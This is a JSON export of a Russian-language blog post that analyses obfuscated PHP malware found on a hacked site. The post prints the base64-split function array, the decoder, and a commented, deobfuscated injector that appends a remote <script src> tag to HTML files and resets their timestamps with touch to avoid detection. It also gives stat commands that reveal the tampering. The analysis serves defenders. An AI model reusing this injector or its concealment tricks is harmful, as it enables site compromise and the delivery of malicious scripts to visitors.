{"id":1249,"date":"2012-02-26T16:30:29","date_gmt":"2012-02-26T14:30:29","guid":{"rendered":"http:\/\/netspider.com.ua\/?p=1249"},"modified":"2012-02-26T16:34:06","modified_gmt":"2012-02-26T14:34:06","slug":"skrytie-koda-metod-7","status":"publish","type":"post","link":"https:\/\/netspider.com.ua\/index.php\/2012\/02\/26\/skrytie-koda-metod-7\/","title":{"rendered":"\u0421\u043a\u0440\u044b\u0442\u0438\u0435 \u043a\u043e\u0434\u0430, \u043c\u0435\u0442\u043e\u0434 7"},"content":{"rendered":"<p>\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u043a\u043e\u0434 \u0431\u044b\u043b \u0432\u0437\u044f\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0437\u0430\u043b\u0438\u0442\u044b\u0445 \u043d\u0430 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0439 \u0441\u0430\u0439\u0442. \u0412 \u043a\u0430\u0436\u0434\u043e\u043c \u0438\u0437 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043e\u0434 \u0441\u043e\u0441\u0442\u043e\u044f\u043b \u0438\u0437 \u0442\u0440\u0435\u0445 \u0431\u043b\u043e\u043a\u043e\u0432. \u041f\u0435\u0440\u0432\u044b\u0439 \u0431\u043b\u043e\u043a \u0431\u044b\u043b \u043f\u043e\u0447\u0442\u0438 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u043c, \u043c\u0430\u0441\u0441\u0438\u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432 base64:<\/p>  <pre class=\"brush: php; auto-links: true; collapse: false; first-line: 1; gutter: true; html-script: false; light: false; ruler: false; smart-tabs: true; tab-size: 4; toolbar: true;\">$GLOBALS['_482181972_'] = Array(\n    base64_decode( 'Z' .'mlsZ' .'V9' .'nZ' .'XRfY29u' .'dGV' .'udHM' .'=' ),\n\/\/ file_get_contents\n    base64_decode( 'c3Ry' .'c' .'G' .'9z' ), \/\/ strpos\n    base64_decode( 'ZmlsZW10' .'a' .'W' .'1l' ), \/\/ filemtime\n    base64_decode( 'Zm9wZW4=' ), \/\/ fopen\n    base64_decode( 'Z' .'ndyaXRl' ), \/\/ fwrite\n    base64_decode( '' .'ZmN' .'sb3Nl' ), \/\/ fclose\n    base64_decode( 'dG91Y2g=' ) \/\/ touch\n);<\/pre>\n\n<p>\u0420\u0430\u0437\u043b\u0438\u0447\u0438\u0435 \u0431\u044b\u043b\u043e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0432 \u043a\u0430\u0436\u0434\u043e\u0439 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0431\u044b\u043b\u043e \u0432\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u201c&#8217; .&#8217;\u201d. \u042d\u0442\u043e \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043f\u043e\u0438\u0441\u043a \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u043f\u043e \u0441\u0442\u0440\u043e\u043a\u0435 \u2013 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0432 base64.<\/p><!--more--><p>\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u0431\u043b\u043e\u043a\u0435 \u0431\u044b\u043b\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0438 \u043e\u0442\u0434\u0430\u0432\u0430\u043b\u0430 \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u043c\u0430\u0441\u0441\u0438\u0432\u0430, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0442\u043e\u0436\u0435 \u0431\u044b\u043b\u0438 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 base64 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0435:<\/p>\n\n<pre class=\"brush: php; auto-links: true; collapse: false; first-line: 1; gutter: true; html-script: false; light: false; ruler: false; smart-tabs: true; tab-size: 4; toolbar: true;\">function _2060801314( $i ) {\n    $a = Array(\n        'c3Jj', \/\/ src\n\t    'ZG9tYWluMS5jb20=', \/\/ domain1.com\n\t    'ZG9tYWluMi5jb20=', \/\/ domain2.com\n\t    'ZG9tYWluMy5jb20=', \/\/ domain3.com\n...\n\t    'PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0i',\n\/\/ &lt;script type=&quot;text\/javascript&quot; src=&quot;\n\t    'Ij48L3NjcmlwdD4=', \/\/ &quot;&gt;&lt;\/script&gt;\n\t    '',\n\t    'Lmh0bWw=', \/\/ .html\n\t    'YQ==' \/\/ a\n    );\n\treturn base64_decode( $a[$i] );\n}<\/pre>\n\n<p>\u0412 \u043e\u0434\u043d\u043e\u043c \u0444\u0430\u0439\u043b\u0435 \u0431\u044b\u043b \u0441\u043f\u0438\u0441\u043e\u043a \u0434\u043e\u043c\u0435\u043d\u043e\u0432, \u0430 \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u2013 \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u0443\u0442\u0435\u0439 \u043a \u0444\u0430\u0439\u043b\u0430\u043c.<\/p>\n\n<p>\u0422\u0440\u0435\u0442\u0438\u0439 \u0431\u043b\u043e\u043a \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u043e\u0442\u043b\u0438\u0447\u0430\u043b\u0441\u044f \u043c\u0430\u0441\u0441\u0438\u0432\u0430\u043c\u0438 \u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u043e\u043c \u043f\u043e \u043d\u0438\u043c. \u041a\u043e\u0434 \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u0445\u043e\u0436, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438\u0432\u0435\u0434\u0443 \u043f\u0440\u0438\u0447\u0435\u0441\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u0437 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0441 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u043c\u0438:<\/p>\n\n<pre class=\"brush: php; auto-links: true; collapse: false; first-line: 1; gutter: true; html-script: false; light: false; ruler: false; smart-tabs: true; tab-size: 4; toolbar: true;\">&lt;?php\n$_0 = $_GET[_2060801314(0)];\n\/\/ \u044d\u0442\u043e $_GET['src']\n\/\/ src \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u043a \u0444\u0430\u0439\u043b\u0443 \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043a\u043e\u0434 \u0434\u043b\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438\n\/\/ https:\/\/domain.tld\/file.js\nif (isset( $_0 )) {\n    $_1 = array(\n\t    _2060801314(1)=&gt; round( 0 + 1.25 + 1.25 + 1.25 + 1.25 ),\n\t\t_2060801314(2)=&gt; round( 0 + 9 ),\n\t\t_2060801314(3)=&gt; round( 0 + 3 + 3 + 3 ),\n...\n\t\t_2060801314(12)=&gt; round( 0 + 0.8 + 0.8 + 0.8 + 0.8 + 0.8 )\n\t);\n\t\/\/ \u0432 \u043c\u0430\u0441\u0441\u0438\u0432\u0435 \u043a\u043b\u044e\u0447 - \u0438\u043c\u044f \u0434\u043e\u043c\u0435\u043d\u0430, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 - \u043a-\u0432\u043e \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u0439. [1]\n\t\/\/ \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u0434\u0430 \u0432 \u043f\u0440\u043e\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b\n\t\/\/ \u0431\u044b\u0441\u0442\u0440\u043e \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043c\u0430\u0441\u0441\u0438\u0432 \u043c\u043e\u0436\u043d\u043e \u0432\u0437\u044f\u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0438 \u043c\u0430\u0441\u0441\u0438\u0432\n\t\/\/ \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c print_r($_1);\n\t$_2 = _2060801314( 13 ) .$_0 ._2060801314( 14 );\n\t\/\/ \u0441\u0431\u043e\u0440\u043a\u0430 \u0441\u0442\u0440\u043e\u043a\u0438 \u0434\u043b\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438, \u0437\u0434\u0435\u0441\u044c \u0443\u0436\u0435 \u0431\u0443\u0434\u0435\u0442 \u0441\u0442\u0440\u043e\u043a\u0430\n\t\/\/ &lt;script type=&quot;text\/javascript&quot; src=&quot;https:\/\/domain.tld\/file.js&quot;&gt;&lt;\/script&gt;\n\tforeach ($_1 as $_3 =&gt; $_4) {\n\t    for ($_5 = round(0); $_5++ &lt; $_4;) {\n\t\t\/\/ \u043f\u0440\u043e\u0445\u043e\u0434 \u043f\u043e \u0444\u0430\u0439\u043b\u0430\u043c \u043e\u0442 1 \u0434\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u0437 \u043c\u0430\u0441\u0441\u0438\u0432\u0430 $_1 (\u0441\u043c. [1])\n\t\t    if ($_5 == round( 0 + 0.25 + 0.25 + 0.25 + 0.25 )) {\n\t\t\t    $_6 = _2060801314( 15 );\n\t\t\t\t\/\/ $_6 - \u043d\u043e\u043c\u0435\u0440 \u0444\u0430\u0439\u043b\u0430\n\t\t\t\t\/\/ \u0435\u0441\u043b\u0438 $_5 = 1, $_6 - \u043f\u0443\u0441\u0442\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430,\n\t\t\t\t\/\/ \u0442.\u043a. \u0444\u0430\u0439\u043b\u044b \u043d\u0443\u043c\u0435\u0440\u0443\u044e\u0442\u0441\u044f \u0441 2, 1-\u0439 \u0431\u0435\u0437 \u043d\u043e\u043c\u0435\u0440\u0430\n\t\t\t} else {\n\t\t\t    $_6 = $_5;\n\t\t\t}\n\t\t\t$_7 = &quot;\/path\/to\/{$_3}\/scj\/top\/top&quot; . $_6 . _2060801314( 16 );\n\t\t\t\/\/ $_3 - \u0438\u043c\u044f \u0434\u043e\u043c\u0435\u043d\u0430, \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u043a \u0444\u0430\u0439\u043b\u0443 top$_6.html,\n\t\t\t$_8 = $GLOBALS['_482181972_'][0]( $_7 );\n\t\t\t\/\/ file = file_get_contents(filename)\n\t\t\tif (!$_8) continue;\n\t\t\t$_9 = $GLOBALS['_482181972_'][1]( $_8, $_2 );\n\t\t\t\/\/ strpos(file, script) - \u0435\u0441\u0442\u044c \u043b\u0438 \u0432 \u0444\u0430\u0439\u043b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\n\t\t\tif ($_9 != false) continue;\n\t\t\t\/\/ \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u0432 \u0444\u0430\u0439\u043b\u0435 \u0435\u0433\u043e \u043d\u0435\u0442\n\t\t\t$_10 = $GLOBALS['_482181972_'][2]( $_7 );\n\t\t\t\/\/ savedtime = filemtime(filename)\n\t\t\t$_11 = $GLOBALS['_482181972_'][3]( $_7, _2060801314( 17 ) );\n\t\t\t\/\/ fileptr = fopen(filename, 'a')\n\t\t\t$GLOBALS['_482181972_'][4]( $_11, $_2 );\n\t\t\t\/\/ fwrite(fileptr, script)\n\t\t\t$GLOBALS['_482181972_'][5]( $_11 );\n\t\t\t\/\/ fclose(fileptr)\n\t\t\t$GLOBALS['_482181972_'][6]( $_7, $_10 );\n\t\t\t\/\/ touch(filename, savedtime)\n\t\t}\n\t}\n\texit;\n}\n?&gt;<\/pre>\n\n<p>\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u201c\u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a\u201d touch \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e [\u043d\u0430 FreeBSD] \u043e\u043d \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u0434\u0430\u0442\u0443 Change, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c<\/p>\n\n<pre class=\"brush: bash; auto-links: true; collapse: false; first-line: 1; gutter: true; html-script: false; light: false; ruler: false; smart-tabs: true; tab-size: 4; toolbar: true;\">stat -x filename<\/pre>\n\n<p>\u0438 \u0443\u0437\u043d\u0430\u0442\u044c, \u043a\u043e\u0433\u0434\u0430 \u043a\u0430\u0441\u0430\u043b\u0438\u0441\u044c \u0444\u0430\u0439\u043b\u0430. \u0418\u043b\u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0442\u0440\u0435\u0442\u044c\u044e \u0434\u0430\u0442\u0443 \u0432 \u0432\u044b\u0432\u043e\u0434\u0435<\/p>\n\n<pre class=\"brush: bash; auto-links: true; collapse: false; first-line: 1; gutter: true; html-script: false; light: false; ruler: false; smart-tabs: true; tab-size: 4; toolbar: true;\">stat filename<\/pre>","protected":false},"excerpt":{"rendered":"\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u043a\u043e\u0434 \u0431\u044b\u043b \u0432\u0437\u044f\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0437\u0430\u043b\u0438\u0442\u044b\u0445 \u043d\u0430 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0439 \u0441\u0430\u0439\u0442. \u0412 \u043a\u0430\u0436\u0434\u043e\u043c \u0438\u0437 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043e\u0434 \u0441\u043e\u0441\u0442\u043e\u044f\u043b \u0438\u0437 \u0442\u0440\u0435\u0445 \u0431\u043b\u043e\u043a\u043e\u0432. \u041f\u0435\u0440\u0432\u044b\u0439 \u0431\u043b\u043e\u043a \u0431\u044b\u043b \u043f\u043e\u0447\u0442\u0438 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u043c, \u043c\u0430\u0441\u0441\u0438\u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432 base64: $GLOBALS[&#8216;_482181972_&#8217;] = Array( base64_decode( &#8216;Z&#8217; .&#8217;mlsZ&#8217; .&#8217;V9&#8242; .&#8217;nZ&#8217; .&#8217;XRfY29u&#8217; .&#8217;dGV&#8217; .&#8217;udHM&#8217; .&#8217;=&#8217; ), \/\/ file_get_contents base64_decode( &#8216;c3Ry&#8217; .&#8217;c&#8217; .&#8217;G&#8217; .&#8217;9z&#8217; ), \/\/ strpos base64_decode( &#8216;ZmlsZW10&#8217;\u2026 <span class=\"read-more\"><a href=\"https:\/\/netspider.com.ua\/index.php\/2012\/02\/26\/skrytie-koda-metod-7\/\">\u0427\u0438\u0442\u0430\u0442\u044c \u0434\u0430\u043b\u0435\u0435 &raquo;<\/a><\/span>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[1575,1557,665,1568,674,1558,662,1559],"class_list":["post-1249","post","type-post","status-publish","format-standard","hentry","category-main","tag-deobfuscation","tag-obfuscation","tag-php","tag-deobfuskaciya","tag-kod","tag-obfuskaciya","tag-skriptyi","tag-shifrovanie"],"_links":{"self":[{"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/posts\/1249","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/comments?post=1249"}],"version-history":[{"count":0,"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/posts\/1249\/revisions"}],"wp:attachment":[{"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/media?parent=1249"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/categories?post=1249"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/netspider.com.ua\/index.php\/wp-json\/wp\/v2\/tags?post=1249"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}